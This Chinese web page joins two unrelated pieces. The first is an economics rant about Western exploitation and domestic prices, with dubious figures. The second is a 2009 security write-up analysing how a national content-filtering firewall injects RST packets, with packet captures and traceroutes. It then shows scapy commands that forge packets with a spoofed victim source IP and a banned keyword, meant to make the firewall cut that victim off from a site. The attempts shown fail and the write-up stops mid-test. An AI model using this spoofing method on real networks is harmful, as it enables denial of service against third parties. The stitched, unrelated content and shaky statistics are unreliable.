为什么我们全世界最累，赚的钱还那么少，有两个原因。其中最重要的原因，就是欧美对我们的剥削。因为他们拥有定价权，可以席卷大部分的利润，学术一点，购买原材料是华尔街金融资本控制我们的价格，销售是产业资本控制我们的价格。我很怀疑，30年前当中国开始改革开放，欧美各国已拟定好一个国家战略，就是透过金融、产业资本、控制原材料、销售定价权，然后把制造放在中国，破坏我们的环境，浪费我们的资源，最后透过两端的资本把我们剥削得干干净净的，中国越改革，中国越开放，中国越制造，欧美越富裕。


但同样是被剥削的国家，为什么我们比泰国、菲律宾还差呢。这就是第二个原因。这几年的产业政策偏了，把大部分的社会资源拿去修桥铺路，搞得GDP每年10%的增长，其实大部分都是钢筋水泥。像2008年CPI是35%，2009年变成25%，钢筋水泥2008年是57%，2009年变70%，这就是说我们整个社会能够创造财富的，能够消费的资源，都被拿来搞钢筋水泥了。有些项目根本就不能创造收益，像新修的高速公路费，路费只能交电费，怎么希望对社会有正面贡献。


除工资收入极低，人民币目前是对外升值，对内严重贬值。我们的97号汽油是美国的1.3倍，电影票是美国的两倍，阿玛尼西装是美国的3倍，宝马Z4我们买9万美元，美国是3万，Levi’s牛仔裤我们是美国的7倍。同样价钱的一块地，美国是一家别墅住一个人，我们是高楼大厦住1000个人。所以我发觉我们的盗版会那么猖狂，是因为3块钱一张的碟才符合我们的收入水平。

来源：草根网(www.20ju.com) - 互联网界的读者文摘

对一款国家级内容过滤系统Dos安全缺陷分析

 

 

Willing 通过 Google 阅读器发送给您的内容：

 

 

对一款国家级内容过滤系统Dos安全缺陷分析

于 10-1-6 通过 WilliamLong's shared items in Google Reader 作者：admin

对某款国家级内容过滤系统Dos安全缺陷分析

Author: jianxin [80sec]
EMail: jianxin#80sec.com
Site: http://www.80sec.com
Date: 2009-1-2
From: http://www.80sec.com/release/dos-with-XXX.txt

[ 目录 ]

0×00 前言
0×01 know it，了解这款内容过滤系统
0×02 Hack it，对防火墙类ids的一些安全研究
0×03 后话

0×00 前言

最近在学习网络基础知识，秉承Hack to learn的作风，想对学习做个总结就想到分析一些网络设备的安全问题来作为一次总结。相信对于某款国家级内容过滤系统大家都不陌生，也被称为国家边界防火墙，其本质上只是一款强大的入侵检测系统，并且在某些行为发生时对网络攻击进行实时的联动阻断。这里对它的作用并不做探讨，对如何绕过它也不做分析，这里仅仅是将它看作一款功能强大的国家级IPS，从技术角度来讨论下这类IPS在关键网络部署时可能存在的一些安全问题以及对普通网站的影响。

0×01 know it，了解这款内容过滤系统

同一般的入侵检测系统或者其他号称网关级别过滤系统类似，它定义了一些策略以阻止某些危险的网络访问，其策略包含静态封禁也包含动态封禁，譬如对于Google和Yahoo类搜索引擎来说，国内用户在使用这些站点时如果触发了敏感的关键词的话，其IP就会被动态封禁一段时间，几分钟之类将不能再使用Google，这里的关键词就是被防火墙所定义的危险行为，譬如拿关键词Freenet/freenet来说，在Google里进行一次搜索请求之后就会发现Google在几分钟之内将不再能被访问，多余所有其他处于国外的服务器效果也是一样。我分析的整个过程如下:

首先对正常的一次Google访问抓包，可以看到结果如下：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:39:26.261092 IP (tos 0×0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 > 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840
22:39:26.349797 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.44297: S, cksum 0×3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672
22:39:26.350452 IP (tos 0×0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365
22:39:36.161454 IP (tos 0×0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365
22:39:36.248632 IP (tos 0×0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89
22:39:37.476626 IP (tos 0×0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0×3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365
22:39:37.563675 IP (tos 0×0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0×442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89
22:39:37.611453 IP (tos 0×0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89
22:39:37.611545 IP (tos 0×0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546
22:39:37.624333 IP (tos 0×0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89
22:39:37.624364 IP (tos 0×0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727
22:39:37.642937 IP (tos 0×0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89
22:39:37.642953 IP (tos 0×0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908
22:39:37.646286 IP (tos 0×0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 > 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89
22:39:37.646302 IP (tos 0×0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083
22:39:37.717617 IP (tos 0×0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89
22:39:37.717634 IP (tos 0×0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264
22:39:37.736610 IP (tos 0×0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89
22:39:37.736645 IP (tos 0×0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445
22:39:37.755088 IP (tos 0×0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 > 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89
22:39:37.755107 IP (tos 0×0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0×1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626

我们可以看到完整的一次请求过程，先是三次握手，然后是发数据包以及服务器和客户端之间的完整交互，从这里我们可以识别出Google服务器的一些指纹特征，譬如未设置不分片标志，TTL值比较恒定为50等等。
那么当一次非法的请求发生时，情况会是怎么样的呢？譬如在Google里搜索会被封禁的关键词freenet的时候，结果如下：

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
GET /?q=freenet HTTP/1.1

sent 26, rcvd 0
bt ~ #

可以看到一发送非法的请求之后Google就主动断开了链接，整个过程的网络抓包如下：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:54:15.744058 IP (tos 0×0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 > 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840
22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672
22:54:15.831408 IP (tos 0×0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 > 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365
22:54:31.619002 IP (tos 0×0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365
22:54:31.727889 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89
22:54:32.065444 IP (tos 0×0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0×7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605
22:54:32.151504 IP (tos 0×0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0×863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89
22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0
22:54:32.153474 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×1779 (correct), 1209516568:1209516568(0) win 9805

可以看到的是，用户在发送完push包之后，Google的服务器也就是64.233.189.103返回了ack数据包表示收到了该请求，并且回复的ack包的序列号跟预期的一致，这里有两次push是因为我用nc提交的，加的回车会单独发一个过去。这样理论上服务器应该马上会回复一个push包响应我们前面的请求，但是结果我们收到了一个意外的rst包如下：

22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

并且该诡异的tcp包还发了两次，然后我们的客户端就以为服务器重置了该链接，这个时候服务器还老老实实的回复了一个对前面的push包的确认包，不过这个包已经被前面莫名其妙的rst包用掉了，并且客户端也按要求重置了链接，所以就回复了一个rst包：

22:54:32.151840 IP (tos 0×0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0

恩，这个tcp链接到这里玩完了。那么这个莫名其妙的rst包是谁发出来的呢？首先来确认下是不是Google自己抽风发出来的吧。注意最上面提到的正常情况下来自Google返回的包的指纹，我们可以看到如下几个地方发生了明显的变化：

22:54:15.831374 IP (tos 0×0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0×9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672
22:54:32.148169 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0×3399 (correct), 1209516568:1209516568(0) win 2605

首先ttl发生了变化，这在默认情况下基本代表了设备在网络上的位置，另外ID在系统内被用来识别一个tcp包，明显的差异过大，然后Google的服务器还返回了一堆可选字段的内容，但是那个怪异的rst包完全没有这个特征，通过这些基本可以确认这个rst包并非来自于真正的Google服务器，通过多抓几次数据包就可以证明这个结论。那么这个设备是出于哪个位置呢？我们简单的tracert下看看结果：

traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets
1 localhost (192.168.1.1) 4.667 ms 1.949 ms 1.650 ms
2 114.249.208.1 (114.249.208.1) 28.304 ms 28.438 ms 34.123 ms
3 125.35.65.97 (125.35.65.97) 26.429 ms 27.363 ms 25.844 ms
4 bt-227-109.bta.net.cn (202.106.227.109) 27.641 ms 26.971 ms 27.268 ms
5 61.148.153.121 (61.148.153.121) 26.936 ms 27.722 ms 27.802 ms
6 123.126.0.121 (123.126.0.121) 27.675 ms 26.996 ms 28.620 ms
7 219.158.4.94 (219.158.4.94) 82.732 ms 82.175 ms 82.608 ms
8 219.158.3.66 (219.158.3.66) 69.978 ms 70.491 ms 136.986 ms
9 219.158.3.130 (219.158.3.130) 77.807 ms 87.424 ms 446.165 ms
10 219.158.32.230 (219.158.32.230) 413.888 ms 87.384 ms 86.614 ms
11 64.233.175.207 (64.233.175.207) 114.188 ms 79.037 ms 113.107 ms
12 209.85.241.56 (209.85.241.56) 87.721 ms 88.063 ms 87.341 ms
13 66.249.94.6 (66.249.94.6) 87.068 ms 99.377 ms 94.140 ms
14 hkg01s01-in-f103.1e100.net (64.233.189.103) 86.094 ms 85.901 ms 86.429 ms

ttl是数据包在网络上的存活时间，每经过一个路由器这个ttl就会减1，可以避免某些数据包无止境的在网络上传输，所以可以被用来确认设备离我们主机在网络上的跳数和距离。我们在抓包的时候可以发现我们默认发出去的数据包ttl是64，我这里用的是linux的系统，一般的网络设备初始值为64，128，255，linux类系统的初始值一般都为64，所以这里我们可以看到Google返回值是50，这是可以确认的，因为可以看到我们到google有14跳，一般linux服务器的初始值为64，到我们这正好是50。那么这个ttl=53的异常包是在哪呢？64-13=11，哦，应该是在11跳左右，到路由上链上找找就发现可能是64.233.175.207这个IP发的，但是去查却会发现这个ip是Google的，米国人民劫持我们的数据包不让访问Google？不太靠谱啊，那么很可能是从第10旁路出去的包，查查第10跳发现是网通骨干网的，这理论上就是可能的了，当然，这之前的节点都有可能，但是最有可能的应该还是这个节点，因为这个节点可以监视所有出口的流量嘛！
再来分析下是如何拒绝掉我们的链接的，该设备嫁接在骨干网上，说是嫁接是因为做这个事情的应该不是骨干路由器，从TTL或者其他一些常识可以看出来，毕竟骨干路由上直接做操作的话风险太大了，不能影响正常应用这是防火墙起码的要求，既然该设备能处于这么一个位置，那么自然可以做到将流量以镜像的方式导入到自己的设备上，并且实时的监视整个tcp的链接。我们知道想表示一条正常的tcp链接是需要五元组的，包括协议，源端口，源IP，目的端口，目的IP，想完整的控制一个tcp链接还需要在这个基础上加一个seq，ack序列号表示正常的tcp进行的状态，想猜测这些基本是不可能的。黑客多少年梦想的对这些的预测都可以轻易在骨干路由上的旁路设备实现，在某些省市大行劫持之道的运营商面前，黑客是个弱势群体。既然有五元组，还有序列号，那么对tcp的操作自然非常简单了，最高明的就是一个rst包让整个tcp链接直接消失掉。有些文章说这个神奇的设备会向两边发送rst包，从我的抓包分析结果来看，看起来这个结论并不可靠，如果向google发送了rst包的话，那么后面一个push的ack包就应该是没有收到才对。另外可以看到，第一个push包发出去之后，这个神奇的设备就有了反应，并不等我第二个包请求发出去凑成一个完整的http请求我们就收到了rst包，这个push包触发了特征了。但是我比较奇怪的是，如果是这样，那么很可能在时间上出现服务器的push包比rst包先到达，这样就起不到阻断的作用，但是从距离和服务器需要对请求响应这点来看，这发生的几率比较小，另外一种可能是，我们客户端发送的rst包到达Google服务器的时候，服务器的push包已经发送到我们的客户端了，尽管不能完成展现，但是包已经收到了，不是么，呵呵！另外一点，从多次试验的结果来看，我们通过在系统底层处理掉id=64的包，是可以完成这一次请求的，水平有限，以后再测试：）
但是这一次的请求被你侥幸获取并不能意味着什么，防火墙的另外一个强大功能你还没有体验，那就是灰名单动态封禁功能，通过上面的请求，你已经被认为是黑客触发了防火墙的规则，你的ip和目标服务器之间的请求将临时性的出现问题。正常情况下到Google的TCP连接如下，这里演示的是nc链接到服务器并且断掉的结果：

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
sent 0, rcvd 0
bt ~ #

这里我按了下ctrl+c的

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:53:12.553207 IP (tos 0×0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 > 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840
21:53:12.637507 IP (tos 0×0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672
21:53:12.637539 IP (tos 0×0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365
21:53:18.110166 IP (tos 0×0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365
21:53:18.206770 IP (tos 0×0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89
21:53:18.206805 IP (tos 0×0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365

那么如果触发规则之后的请求是什么样子的呢：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:18:31.651147 IP (tos 0×0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 > 64.233.189.103.80: S, cksum 0×6925 (correct), 3774335672:3774335672(0) win 5840
00:18:31.739447 IP (tos 0×0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.49124: S, cksum 0×97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672
00:18:31.739469 IP (tos 0×0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 > 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365
00:18:31.820608 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.49124: R, cksum 0×6ea9 (correct), 3821251814:3821251814(0) win 12379

三次握手之后，立刻那个莫名其妙rst包出现了，就在服务器等待客户端给它数据的时候，我们一个rst包结束了这个tcp连接的生命，这个特征依然很明显，id是64，ttl=53。但是在另外的一次测试过程中，我抓到了这样的包：

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:47:54.614462 IP (tos 0×0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 > 64.233.189.103.80: S, cksum 0×8ead (correct), 1951758128:1951758128(0) win 5840
21:47:54.691420 IP (tos 0×0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0×273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453
21:47:54.691449 IP (tos 0×0, ttl 64, id 20835, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.696983 IP (tos 0×0, ttl 50, id 51733, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0xa76e (correct), 794483022:794483022(0) ack 1951758129 win 5672
21:47:54.696998 IP (tos 0×0, ttl 64, id 20836, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.2.53343 > 64.233.189.103.80: ., cksum 0×1234 (correct), 1951758129:1951758129(0) ack 2970573199 win 5840
21:47:54.700298 IP (tos 0×0, ttl 43, id 26887, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×292f (correct), 794483023:794483023(0) ack 1951758129 win 454
21:47:54.769090 IP (tos 0×0, ttl 46, id 26650, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2737 (correct), 2970573199:2970573199(0) ack 1951758129 win 457
21:47:54.769853 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xcb9f (correct), 2970573199:2970573199(0) win 18679
21:47:54.773332 IP (tos 0×0, ttl 50, id 51734, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0
21:47:54.774292 IP (tos 0×0, ttl 48, id 26492, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×2735 (correct), 2970573199:2970573199(0) ack 1951758129 win 459
21:47:54.775939 IP (tos 0×0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0xbf63 (correct), 2970573199:2970573199(0) win 21811
21:47:54.778871 IP (tos 0×0, ttl 50, id 51735, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: R, cksum 0×1497 (correct), 2970573199:2970573199(0) win 0

一个中间的服务器抢在真正的Google服务器之前给我们响应了我们的请求，而Google的回应却因为序列号出现差错导致服务器给我们发重置包，而在此过程中，ttl=43,46,53,48的，ID模拟正常的服务器向我们连回了N个rst包，这个链接必死无疑了，可见它多么痛恨我这个链接。也许我抓到的并不是最全的，但是基本原理应该都类似的，而且这种发送的ID，ttl都是伪造的，以这种方式很难定位到具体的设备位置和直接过滤掉，后面会说到另外一种定位方法：）这个动态的ACL在过两分钟最后会被清除，用户恢复对网站的访问。

0×02 Hack it，对防火墙类ids的一些安全研究

我们在黑盒的方式了解了此类ids的基本原理之后，就可以想想这类ids的一些安全问题了，这里说的安全问题不是上面提到的绕过，而是其他我们在日常工作中可能遇到的问题，这里对设备的性能测试，误报率等也不做研究，这些也不是我们可以去考虑的问题，这里主要是来自于一个思路，既然这个神奇的设备已经作为一个基本安全设施，它的动态封禁机制会不会可以被利用来对某些境外的网站进行屏蔽来实现对国内用户的Dos，据一些媒体说美国也有类似的设施，但是美国只会记录而不会做类似于IPS的动作主动切断有威胁的的双方，这里的测试不再是被动的抓包了，我们使用一款强大的网络数据包调试工具，scapy，对于我这种只有脚本基础的人来说比较容易上手，基本用法如下：

Welcome to Scapy (v1.1.1 / f88d99910220)
>>> ls(IP)
version : BitField = (4)
ihl : BitField = (None)
tos : XByteField = (0)
len : ShortField = (None)
id : ShortField = (1)
flags : FlagsField = (0)
frag : BitField = (0)
ttl : ByteField = (64)
proto : ByteEnumField = (0)
chksum : XShortField = (None)
src : Emph = (None)
dst : Emph = ('127.0.0.1′)
options : IPoptionsField = (")
>>> ls(TCP)
sport : ShortEnumField = (20)
dport : ShortEnumField = (80)
seq : IntField = (0)
ack : IntField = (0)
dataofs : BitField = (None)
reserved : BitField = (0)
flags : FlagsField = (2)
window : ShortField = (8192)
chksum : XShortField = (None)
urgptr : ShortField = (0)
options : TCPOptionsField = ({})
>>>

我们可以很简单滴修改这些选项来构造适合自己的包并且发送出去，譬如：

>>>send(IP(dst="64.233.189.103″)/TCP(dport=80,sport=57474,flags="P",seq=945149829)/"We are 80sec,play with packets")

就会向Google的服务器发送一个源端口是57474，序列号是945149829的push包了，包的内容就是We are 80sec。
这里测试的基本想法是，我们对一个想要攻击的ip如121.121.121.121，想使他不能访问google的服务器64.233.189.103，就可以想办法伪造一个它的ip通过这个神奇的设备并且触发规则就可以了。得益于国内运营商对数据包的来源有效性不会做任何限制，可以随便伪造别的IP的数据包发到指定的地方，同样得益于此的还有欣欣向荣的ddos行业，所以我们只要想办法触发这个神奇的设备的规则就是了。
先进行最简单的：

>>> send(IP(dst="64.233.189.103″,src="121.121.121.121″)/TCP(dport=80,sport=57474,flags="P",seq=945149829)/"/?q=freenet/freenet")

这是一个完全扯淡的数据包，全部都是伪造的，如果这个数据包会触发规则的话，那么121.121.121.121就不能访问64.233.189.103这个Google的ip了，结果显而易见，没有任何影响。我们继续来测试，发送:

>>> send(IP(dst="64.233.189.103″)/TCP(dport=80,sport=57474,flags="P",seq=945149829)/"/?q=freenet/freenet")

同时在本机抓包以得到服务器的响应，一旦成功我们就可以把源IP换成想要攻击的IP了，发出去后只能抓到自己出去的包，没有任何服务端的响应，自然不包括这个神奇的设备的，抓包如下：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:41:29.014316 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.57474 > 64.233.189.103.80: P, cksum 0×9fb7 (correct), 945149829:945149848(19) win 8192

这个包不只这个神奇的设备忽略了，Google服务器也忽略了，这里我换了个测试环境，因为我处于NAT的环境，为了可以直接伪造所有的ip包，我使用了朋友的服务器做测试，好处就是伪造的ip不会被NAT防火墙丢弃也不会给我转换我的端口序列号之类。我测试了Syn，Ack等包，都发现数据包顺利的到达了Google服务器，不过没有违反这个神奇的设备的规则。
看来这个神奇的设备还是有一些防范策略，没有想象中那样直接检测push包，起码是能对非法的，无效的TCP链接进行识别。很佩服防火墙的伟大，这么大的流量还能做到这种程度，公司内部的防火墙那么点流量还吱呀吱呀响呢，猜测没有用，回忆前面提到的，能控制一个TCP链接需要的几个元素，我们需要五元组，测试看看，我们先建立一条正常的到Google的链接，并且抓取五元组来测试：

tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
d00:49:38.694884 IP (tos 0×0, ttl 64, id 55469, offset 0, flags [DF], proto: TCP (6), length: 60) 114.249.114.249.60931 > 64.233.189.103.80: S, cksum 0×188c (correct), 3664548093:3664548093(0) win 5840
00:49:38.745534 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 60) 64.233.189.103.80 > 114.249.114.249.60931: S, cksum 0×40d4 (correct), 2550448670:2550448670(0) ack 3664548094 win 5672
00:49:38.745546 IP (tos 0×0, ttl 64, id 55470, offset 0, flags [DF], proto: TCP (6), length: 52) 114.249.114.249.60931 > 64.233.189.103.80: ., cksum 0×8548 (correct), 3664548094:3664548094(0) ack 2550448671 win 46

呵呵，然后我们构造一个接近真实的五元组都正确的链接，只有序列号是错误的：

>>> send(IP(dst="64.233.189.103″)/TCP(dport=80,sport=60931,flags="P",seq=123456)/"/?q=freenet/freenet")

服务器返回

00:52:12.606688 IP (tos 0×0, ttl 64, id 1, offset 0, flags [none], proto: TCP (6), length: 59) 114.249.114.249.60931 > 64.233.189.103.80: P, cksum 0xbfcf (correct), 123456:123475(19) win 8192
00:52:12.657154 IP (tos 0×0, ttl 51, id 57212, offset 0, flags [none], proto: TCP (6), length: 52) 64.233.189.103.80 > 114.249.114.249.60931: ., cksum 0×2be4 (correct), 2550448671:2550448671(0) ack 3664548094 win 89

数据包顺利的通过了这个神奇的设备，Google还给我们发来了纠正序列号的ack包。这个时候我就很惊奇了，对一条链接真实性的验证可以不只到达五元组程度，甚至可以到达序列号的级别，而它所做的地方是在国家的主干上，这几乎是不可想象的。这个时候思考这个神奇的设备的实现方式，可能是维护一个链接的状态表，并且对这个表的所有状态进行实时跟踪，但这样他就太吊了，这个时候开始想到用一些畸形包来测试防火墙的机制。
